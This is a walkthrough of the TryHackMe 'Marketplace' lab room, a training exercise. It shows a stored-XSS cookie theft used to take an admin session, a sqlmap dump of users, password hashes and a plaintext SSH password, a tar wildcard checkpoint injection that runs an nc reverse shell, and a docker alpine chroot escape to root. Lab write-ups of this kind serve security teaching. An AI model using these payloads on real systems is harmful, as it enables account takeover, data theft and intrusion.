[TryHackMe] Marketplace Walkthrough – How I Pulled Off a Cookie Heist to Become an Admin of the Target Website

5/5 - (1 vote)


  • Link: https://tryhackme.com/room/marketplace
  • Difficulty: Medium
  • Target: flag 1, user.txt, root.txt
  • Highlight: cookie thievery to become admin on a website
  • Tools: cookie heist, sqlmap, docker
  • Tags: web, xss, docker, sqli, tar wildcard exploit
[TryHackMe] The Marketplace Walkthrough - Cookie Heist to Become an Admin of the Target Website


In this box, we are tasked with pen-testing an internal server to check for bugs before releasing it to the public. Judging by the tags on this box, we will execute some cross-site scripting and pull off a bit of SQL command injection. Let’s get started!


export myIP=

export targetIP=

💡 Info: The walkthrough video includes several target IPs because I had to switch to the in-browser attack box part of the way through. I’m not sure why, but my VPN VM had serious stability issues with the target IP.

So far, we know that the sysadmin’s name is Michael. Maybe that will be a username.


nmap -A -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 08:33 EST
Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 10.33% done; ETC: 08:37 (0:04:03 remaining)
Nmap scan report for
Host is up (0.085s latency).
Not shown: 65533 filtered tcp ports (no-response)
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
|   256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_  256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp open  http    nginx 1.19.2
| http-robots.txt: 1 disallowed entry 
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.51 seconds


We gather that this website is a storefront with a login page. We can easily create a new user and post a new item. Let’s check if this new item might be able to run a script on the user who views it.


<script>hello there</script>

It works. Let’s use this to set up a script that will send us the admin’s cookie when they visit this item’s page.


To save a bit of time from scripting our own cookie-stealing program, let’s grab CookieHeist from the Git repo.

Next, we’ll set up a simple HTTP server with python3 to serve the cookieheist PHP script

python3 -m http.server

And start our listener to catch the stolen cookie.

nc -lnvp 8888

Now that everything is in place, we can test our script by visiting the item’s page. On our listener, we catch our own token.

Now we will click on the report item button. The admin should visit the page soon and then our heist will hopefully work as planned and the admin’s cookie will be sent to us on the listener.

It worked! Let’s copy the token value below. Next, we’ll prepare to use sqlmap to dump the database.


In our firefox browser, we can now log into ben’s account, and, in the developer tab, navigate to storage and cookies. Simply switch out the cookies and hit reload, and you will discover a new administration panel with users and our first flag!


Next let’s do some local enumeration with sqlmap. We will use the admin’s cookie again in our command.

sqlmap --cookie='token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2Nzc4NTczMjN9.DcEFxcLEnU7NUtNJEseq70na-gkRdEXtqkOLhGzZxVU' --technique=U --delay=3 -dump

*The –delay=3 helps us evade some data protections in place that crash sqlmap before it can extract anything.

 ___ ___[(]_____ ___ ___  {1.6.11#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:40:00 /2023-03-03/

Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
[05:40:12] [INFO] testing connection to the target URL
[05:40:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:40:21] [INFO] heuristic (basic) test shows that GET parameter 'user' might be injectable (possible DBMS: 'MySQL')
[05:40:24] [INFO] testing for SQL injection on GET parameter 'user'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for o
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] 
[05:40:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:41:02] [WARNING] reflective value(s) found and filtering out
[05:41:08] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:41:20] [INFO] target URL appears to have 4 columns in query
[05:42:12] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[05:42:12] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[05:43:51] [CRITICAL] connection timed out to the target URL
[05:43:57] [INFO] GET parameter 'user' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[05:43:57] [INFO] checking if the injection point on GET parameter 'user' is a false positive

sqlmap identified the following injection point(s) with a total of 24 HTTP(s) requests:
Parameter: user (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: user=-5573 UNION ALL SELECT NULL,CONCAT(0x716a707871,0x736d5764774f6e48726c4a5579484373776c426e42494c6c58486379764f5a4a4d484e4f47546e53,0x71626a7071),NULL,NULL-- -
[05:47:20] [INFO] testing MySQL
[05:47:23] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[05:48:00] [INFO] confirming MySQL
[05:48:06] [INFO] the back-end DBMS is MySQL
web application technology: Express, Nginx 1.19.2
back-end DBMS: MySQL >= 8.0.0
[05:48:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:48:21] [INFO] fetching current database
[05:48:24] [INFO] fetching tables for database: 'marketplace'
[05:48:28] [INFO] fetching columns for table 'users' in database 'marketplace'
[05:48:31] [INFO] fetching entries for table 'users' in database 'marketplace'
Database: marketplace
Table: users
[4 entries]
| id | password                                                     | username | isAdministrator |
| 1  | $2b$10$83pRYaR/d4ZWJVEex.lxu.Xs1a/TNDBWIUmB4z.R0DT0MSGIGzsgW | system   | 0               |
| 2  | $2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf/1q | michael  | 1               |
| 3  | $2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG | jake     | 1               |
| 4  | $2b$10$UP9S8hhGQ4oam6K0iK35Ke.TLTN/fXWhj/Ak/MvnkUw1XksDWH9py | ben      | 0               |

[05:48:34] [INFO] table 'marketplace.users' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/'
[05:48:34] [INFO] fetching columns for table 'items' in database 'marketplace'
[05:48:37] [INFO] fetching entries for table 'items' in database 'marketplace'
[05:48:40] [INFO] recognized possible password hashes in column 'image'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[05:48:49] [INFO] writing hashes to a temporary file '/tmp/sqlmapsc6t_j_x87459/sqlmaphashes-ro5_o25b.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: marketplace
Table: items
[3 entries]
| id | image                            | title                                                                                                  | author | description           |
| 1  | 867a9d1a2edc2995dca4b13de50fc545 | Dell Laptop                                                                                            | 2      | Good as new.          |
| 2  | abffe546fb4cb740cc6b44f9e4c263df | A cactus                                                                                               | 3      | Yep, that's a cactus. |
| 3  | 598815c0f5554115631a3250e5db1719 | <script>document.location="" + document.cookie</script> | 4      | d                     |

[05:48:59] [INFO] table 'marketplace.items' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/'
[05:48:59] [INFO] fetching columns for table 'messages' in database 'marketplace'
[05:49:02] [INFO] fetching entries for table 'messages' in database 'marketplace'
Database: marketplace
Table: messages
[3 entries]
| id | is_read | user_to | user_from | message_content                                                                                                                                                                                   |
| 1  | 1       | 3       | 1         | Hello!\r\nAn automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password.\r\nYour new password is: @b_ENXkGYUCAv3zJ     |
| 2  | 1       | 4       | 1         | Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace! |
| 3  | 0       | 4       | 1         | Thank you for your report. We have reviewed the listing and found nothing that violates our rules.                                                                                                |

[05:49:05] [INFO] table 'marketplace.messages' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/'
[05:49:05] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 10 times
[05:49:05] [INFO] fetched data logged to text files under '/home/kalisurfer/.local/share/sqlmap/output/'

[*] ending @ 05:49:05 /2023-03-03/

The info in bold above shows credentials for jake (user 3). Let’s try using these credentials to log in via SSH. jake:@b_ENXkGYUCAv3zJ


We are in as Jake! And we found the user flag!


First, let’s check our sudo permissions with sudo -l

jake@the-marketplace:/home/marketplace$ sudo -l
Matching Defaults entries for jake on the-marketplace:
    env_reset, mail_badpass,

User jake may run the following commands on the-marketplace:
    (michael) NOPASSWD: /opt/backups/backup.sh

Let’s try to switch users to michael by leveraging the file backup.sh and our special sudo permissions to run it as user michael.

First let’s examine the code.

jake@the-marketplace:/opt/backups$ cat backup.sh


echo "Backing up files...";
tar cf /opt/backups/backup.tar *

As we can see, the backup.sh script activates a tarball with a wildcard to copy everything in the directory. We can exploit this by adding empty files with filenames that resemble flags on the command backup.tar to bypass some checkpoints.


  1. First, let’s create a reverse shell and copy it to the /opt/backups directory.
echo "mkfifo /tmp/gdsio; nc 8888 0</tmp/gdsio | /bin/sh >/tmp/gdsio 2>&1; rm /tmp/gdsio" > shell.sh
  1. Create an empty file instructing tar to run the shell.sh file.
echo "" > "--checkpoint-action=exec=sh shell.sh"
  1. Create a second empty file to spoof the checkpoint 1 being reached.
echo "" > --checkpoint=1
  1. Let’s setup a Netcat listener on our attack machine to grab the reverse shell.
nc -lnvp 8888
  1. Activate the exploit by running backup.sh as user Michael with sudo.
sudo -u michael ./opt/backups/backup.sh



Now that we have caught the revshell as Michael, let’s poke around the filesystem a bit more.

We can see that we are running docker. We’ll have to break out of the docker container in order to catch our root flag. GTFObins suggests leveraging alpine to escape the container.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh


In this box, the cookie-stealing technique showed how it is sometimes possible for malicious actors to gain quick access to another user’s or even an admin’s account on a website without even needing to know their password.

To me, this was the most impressive take-away from the box.